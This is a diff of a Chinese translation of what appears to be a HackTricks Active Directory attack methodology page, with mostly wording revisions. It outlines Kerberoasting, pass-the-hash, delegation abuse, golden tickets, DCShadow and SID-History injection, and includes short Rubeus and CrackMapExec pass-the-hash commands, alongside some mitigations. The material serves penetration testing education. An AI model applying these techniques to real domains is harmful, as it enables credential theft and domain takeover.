+Kerberoasting 涉及获取 **TGS 票证**,这些票证用于与用户账户相关的服务,并破解其加密——这基于用户密码——**离线**。
更多信息请参见:
@@ -183,19 +183,19 @@ Kerberoasting 涉及获取 **TGS 票证**,这些票证由与用户账户相关
kerberoast.md
{{#endref}}
-### 远程连接 (RDP, SSH, FTP, Win-RM 等)
+### 远程连接(RDP、SSH、FTP、Win-RM 等)
-一旦你获得了一些凭证,你可以检查是否可以访问任何 **机器**。为此,你可以使用 **CrackMapExec** 尝试通过不同协议连接到多个服务器,具体取决于你的端口扫描结果。
+一旦你获得了一些凭据,你可以检查是否可以访问任何 **机器**。为此,你可以使用 **CrackMapExec** 尝试通过不同协议连接到多个服务器,具体取决于你的端口扫描结果。
### 本地权限提升
-如果你已经妥协了凭证或作为普通域用户的会话,并且你可以 **使用该用户访问域中的任何机器**,你应该尝试找到 **本地提升权限和寻找凭证的方法**。这是因为只有拥有本地管理员权限,你才能 **在内存中(LSASS)和本地(SAM)转储其他用户的哈希**。
+如果你已经妥协了凭据或作为普通域用户的会话,并且你可以 **使用该用户访问域中的任何机器**,你应该尝试找到 **本地提升权限和寻找凭据的方法**。这是因为只有拥有本地管理员权限,你才能 **在内存中(LSASS)和本地(SAM)转储其他用户的哈希**。
本书中有一整页关于 [**Windows 中的本地权限提升**](../windows-local-privilege-escalation/index.html) 和一个 [**检查表**](../checklist-windows-privilege-escalation.md)。此外,不要忘记使用 [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)。
### 当前会话票证
-你 **不太可能** 在当前用户中找到 **票证**,使你有权限访问意外资源,但你可以检查:
+你 **不太可能** 在当前用户中找到 **票证**,使你能够访问意外资源,但你可以检查:
```bash
## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage
@@ -229,7 +229,7 @@ kerberoast.md
printnightmare.md
{{#endref}}
-## 使用特权凭据/会话在活动目录上进行特权提升
+## 在具有特权凭据/会话的 Active Directory 上进行特权提升
**对于以下技术,普通域用户是不够的,你需要一些特殊的特权/凭据来执行这些攻击。**
@@ -247,7 +247,7 @@ printnightmare.md
### 超越传递哈希/传递密钥
-此攻击旨在**使用用户的 NTLM 哈希请求 Kerberos 票证**,作为常见的 NTLM 协议下的传递哈希的替代方案。因此,这在**禁用 NTLM 协议**且仅允许**Kerberos**作为认证协议的网络中可能特别**有用**。
+此攻击旨在**使用用户的 NTLM 哈希请求 Kerberos 票证**,作为常见的 NTLM 协议下的传递哈希的替代方案。因此,这在**禁用 NTLM 协议**且仅允许**Kerberos**作为认证协议的网络中尤其**有用**。
{{#ref}}
over-pass-the-hash-pass-the-key.md
@@ -282,26 +282,26 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
abusing-ad-mssql.md
{{#endref}}
-### 不受限制的委派
+### 不受限制的委托
如果您发现任何具有属性 [ADS_UF_TRUSTED_FOR_DELEGATION]() 的计算机对象,并且您在计算机上具有域权限,您将能够从登录到该计算机的每个用户的内存中转储 TGT。\
因此,如果**域管理员登录到计算机**,您将能够转储他的 TGT,并使用 [Pass the Ticket](pass-the-ticket.md) 冒充他。\
-由于受限委派,您甚至可以**自动妥协打印服务器**(希望它是 DC)。
+由于受限委托,您甚至可以**自动妥协打印服务器**(希望它是 DC)。
{{#ref}}
unconstrained-delegation.md
{{#endref}}
-### 受限委派
+### 受限委托
-如果用户或计算机被允许进行“受限委派”,它将能够**冒充任何用户以访问计算机上的某些服务**。\
+如果用户或计算机被允许进行“受限委托”,它将能够**冒充任何用户访问计算机中的某些服务**。\
然后,如果您**妥协**此用户/计算机的哈希,您将能够**冒充任何用户**(甚至是域管理员)以访问某些服务。
{{#ref}}
constrained-delegation.md
{{#endref}}
-### 基于资源的受限委派
+### 基于资源的受限委托
在远程计算机的 Active Directory 对象上拥有**WRITE**权限可以实现**提升权限**的代码执行:
@@ -401,9 +401,9 @@ silver-ticket.md
### 金票
-**金票攻击**涉及攻击者在 Active Directory (AD) 环境中获取**krbtgt 账户的 NTLM 哈希**。该账户是特殊的,因为它用于签署所有**票据授予票据 (TGTs)**,这些票据对于在 AD 网络中进行身份验证至关重要。
+**金票攻击**涉及攻击者在 Active Directory (AD) 环境中获取**krbtgt 账户的 NTLM 哈希**。该账户是特殊的,因为它用于签署所有**票据授予票据 (TGT)**,这些票据对于在 AD 网络中进行身份验证至关重要。
-一旦攻击者获得此哈希,他们可以为他们选择的任何账户创建**TGTs**(银票攻击)。
+一旦攻击者获得此哈希,他们可以为他们选择的任何账户创建**TGT**(银票攻击)。
{{#ref}}
golden-ticket.md
@@ -435,7 +435,7 @@ ad-certificates/domain-persistence.md
### AdminSDHolder 组
-Active Directory 中的**AdminSDHolder**对象通过在这些组中应用标准**访问控制列表 (ACL)**来确保**特权组**(如域管理员和企业管理员)的安全,以防止未经授权的更改。然而,这一功能可能被利用;如果攻击者修改 AdminSDHolder 的 ACL 以授予普通用户完全访问权限,该用户将获得对所有特权组的广泛控制。这一安全措施本意是保护,但如果不加以监控,可能会适得其反,导致不当访问。
+Active Directory 中的**AdminSDHolder**对象通过在这些组中应用标准的**访问控制列表 (ACL)** 来确保**特权组**(如域管理员和企业管理员)的安全,以防止未经授权的更改。然而,这一功能可能被利用;如果攻击者修改 AdminSDHolder 的 ACL 以授予普通用户完全访问权限,该用户将获得对所有特权组的广泛控制。这一安全措施本意是保护,但如果不加以监控,可能会适得其反,导致不当访问。
[**有关 AdminDSHolder 组的更多信息在这里。**](privileged-groups-and-token-privileges.md#adminsdholder-group)
@@ -483,7 +483,7 @@ custom-ssp.md
### DCShadow
它在 AD 中注册一个**新的域控制器**,并使用它在指定对象上**推送属性**(SIDHistory、SPNs...),**不留**任何关于**修改**的**日志**。您**需要 DA** 权限并在**根域**内。\
-请注意,如果您使用错误的数据,将会出现相当丑陋的日志。
+请注意,如果您使用错误的数据,会出现相当糟糕的日志。
{{#ref}}
dcshadow.md
@@ -492,7 +492,7 @@ dcshadow.md
### LAPS 持久性
之前我们讨论了如果您有**足够的权限读取 LAPS 密码**,如何提升权限。然而,这些密码也可以用于**维持持久性**。\
-请查看:
+检查:
{{#ref}}
laps.md
@@ -510,7 +510,7 @@ laps.md
**步骤**:
-1. **域 1**中的**客户端计算机**开始该过程,使用其**NTLM 哈希**向其**域控制器 (DC1)**请求**票据授予票据 (TGT)**。
+1. **域 1**中的**客户端计算机**开始该过程,使用其**NTLM 哈希**向其**域控制器 (DC1)** 请求**票据授予票据 (TGT)**。
2. 如果客户端成功通过身份验证,DC1 会发出新的 TGT。
3. 客户端然后向 DC1 请求一个**跨域 TGT**,该 TGT 是访问**域 2**中的资源所需的。
4. 跨域 TGT 使用作为双向域信任的一部分在 DC1 和 DC2 之间共享的**信任密钥**进行加密。
@@ -522,16 +522,16 @@ laps.md
重要的是要注意,**信任可以是单向或双向**。在双向选项中,两个域将相互信任,但在**单向**信任关系中,一个域将是**受信任**的,另一个是**信任**的域。在最后一种情况下,**您只能从受信任的域访问信任域内的资源**。
-如果域 A 信任域 B,A 是信任域,B 是受信任域。此外,在**域 A**中,这将是**出站信任**;而在**域 B**中,这将是**入站信任**。
+如果域 A 信任域 B,A 是信任域,B 是受信任域。此外,在**域 A**中,这将是**出站信任**;在**域 B**中,这将是**入站信任**。
**不同的信任关系**
- **父子信任**:这是同一森林内的常见设置,子域自动与其父域建立双向传递信任。这意味着身份验证请求可以在父域和子域之间无缝流动。
-- **交叉链接信任**:被称为“快捷信任”,这些信任在子域之间建立,以加快引用过程。在复杂的森林中,身份验证引用通常必须向森林根节点上行,然后向目标域下行。通过创建交叉链接,旅程缩短,这在地理分散的环境中特别有利。
-- **外部信任**:这些信任在不同的、不相关的域之间建立,具有非传递性。根据[微软的文档](),外部信任对于访问当前森林外的域中的资源非常有用,该域未通过森林信任连接。通过 SID 过滤增强安全性。
+- **交叉链接信任**:称为“快捷信任”,这些是在子域之间建立的,以加快引用过程。在复杂的森林中,身份验证引用通常必须向森林根节点上行,然后向目标域下行。通过创建交叉链接,旅程缩短,这在地理分散的环境中尤其有利。
+- **外部信任**:这些是在不同的、不相关的域之间建立的,具有非传递性。根据[微软的文档](),外部信任对于访问当前森林外的域中的资源非常有用,该域未通过森林信任连接。通过 SID 过滤增强安全性。
- **树根信任**:这些信任在森林根域和新添加的树根之间自动建立。虽然不常见,但树根信任对于将新域树添加到森林非常重要,使它们能够保持唯一的域名并确保双向传递性。有关更多信息,请参见[微软的指南]()。
- **森林信任**:这种类型的信任是两个森林根域之间的双向传递信任,也强制实施 SID 过滤以增强安全措施。
-- **MIT 信任**:这些信任与非 Windows 的[符合 RFC4120](https://tools.ietf.org/html/rfc4120) 的 Kerberos 域建立。MIT 信任更为专业,适用于需要与 Windows 生态系统外的基于 Kerberos 的系统集成的环境。
+- **MIT 信任**:这些信任与非 Windows 的[RFC4120 兼容](https://tools.ietf.org/html/rfc4120) Kerberos 域建立。MIT 信任更为专业,适用于需要与 Windows 生态系统外的基于 Kerberos 的系统集成的环境。
#### **信任关系中的其他差异**
@@ -541,7 +541,7 @@ laps.md
### 攻击路径
1. **枚举**信任关系
-2. 检查是否有任何**安全主体**(用户/组/计算机)对**其他域**的资源具有**访问**权限,可能通过 ACE 条目或通过在其他域的组中查找。寻找**跨域的关系**(信任可能是为此创建的)。
+2. 检查任何**安全主体**(用户/组/计算机)是否对**其他域**的资源具有**访问**权限,可能通过 ACE 条目或通过在其他域的组中查找。寻找**跨域关系**(信任可能是为此创建的)。
1. 在这种情况下,kerberoast 可能是另一个选项。
3. **妥协**可以**跨域**转移的**账户**。
@@ -574,7 +574,7 @@ WhenChanged : 2/19/2021 1:28:00 PM
#### SID-History 注入
-通过 SID-History 注入,作为企业管理员提升到子/父域,利用信任关系:
+通过 SID-History 注入利用信任关系以企业管理员身份提升到子/父域:
{{#ref}}
sid-history-injection.md
@@ -582,7 +582,7 @@ sid-history-injection.md
#### 利用可写的配置 NC
-理解如何利用配置命名上下文 (NC) 是至关重要的。配置 NC 作为 Active Directory (AD) 环境中跨森林的配置数据的中央存储库。这些数据会复制到森林中的每个域控制器 (DC),可写的 DC 保持配置 NC 的可写副本。要利用这一点,必须在 DC 上拥有 **SYSTEM 权限**,最好是子 DC。
+理解如何利用配置命名上下文 (NC) 是至关重要的。配置 NC 作为 Active Directory (AD) 环境中跨森林的配置数据的中央存储库。这些数据会复制到森林中的每个域控制器 (DC),可写的 DC 维护配置 NC 的可写副本。要利用这一点,必须在 DC 上拥有 **SYSTEM 权限**,最好是在子 DC 上。
**将 GPO 链接到根 DC 站点**
@@ -598,7 +598,7 @@ sid-history-injection.md
**架构变更攻击**
-此方法需要耐心,等待新特权 AD 对象的创建。通过 SYSTEM 权限,攻击者可以修改 AD 架构,以授予任何用户对所有类的完全控制。这可能导致对新创建的 AD 对象的未经授权的访问和控制。
+此方法需要耐心,等待新特权 AD 对象的创建。通过 SYSTEM 权限,攻击者可以修改 AD 架构,以授予任何用户对所有类的完全控制。这可能导致对新创建的 AD 对象的未经授权访问和控制。
进一步阅读可在 [架构变更信任攻击](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) 中找到。
@@ -661,9 +661,9 @@ rdp-sessions-abuse.md
- 通过SID过滤来减轻利用SID历史属性进行攻击的风险,该过滤在所有跨森林信任中默认启用。这是基于假设,考虑到森林而不是域作为安全边界,认为内部森林信任是安全的,这是微软的立场。
- 然而,有一个问题:SID过滤可能会干扰应用程序和用户访问,导致其偶尔被禁用。
-### **选择性身份验证:**
+### **选择性认证:**
-- 对于跨森林信任,采用选择性身份验证确保两个森林中的用户不会自动被认证。相反,用户需要明确的权限才能访问信任域或森林中的域和服务器。
+- 对于跨森林信任,采用选择性认证确保两个森林中的用户不会自动被认证。相反,用户需要明确的权限才能访问信任域或森林中的域和服务器。
- 需要注意的是,这些措施并不能保护免受可写配置命名上下文(NC)的利用或对信任账户的攻击。
[**有关域信任的更多信息,请访问ired.team。**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
@@ -682,7 +682,7 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
- **域管理员限制**:建议仅允许域管理员登录到域控制器,避免在其他主机上使用。
- **服务账户权限**:服务不应以域管理员(DA)权限运行,以维护安全性。
-- **临时权限限制**:对于需要DA权限的任务,其持续时间应有限制。这可以通过:`Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`来实现。
+- **临时权限限制**:对于需要DA权限的任务,应限制其持续时间。这可以通过以下方式实现:`Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
### **实施欺骗技术**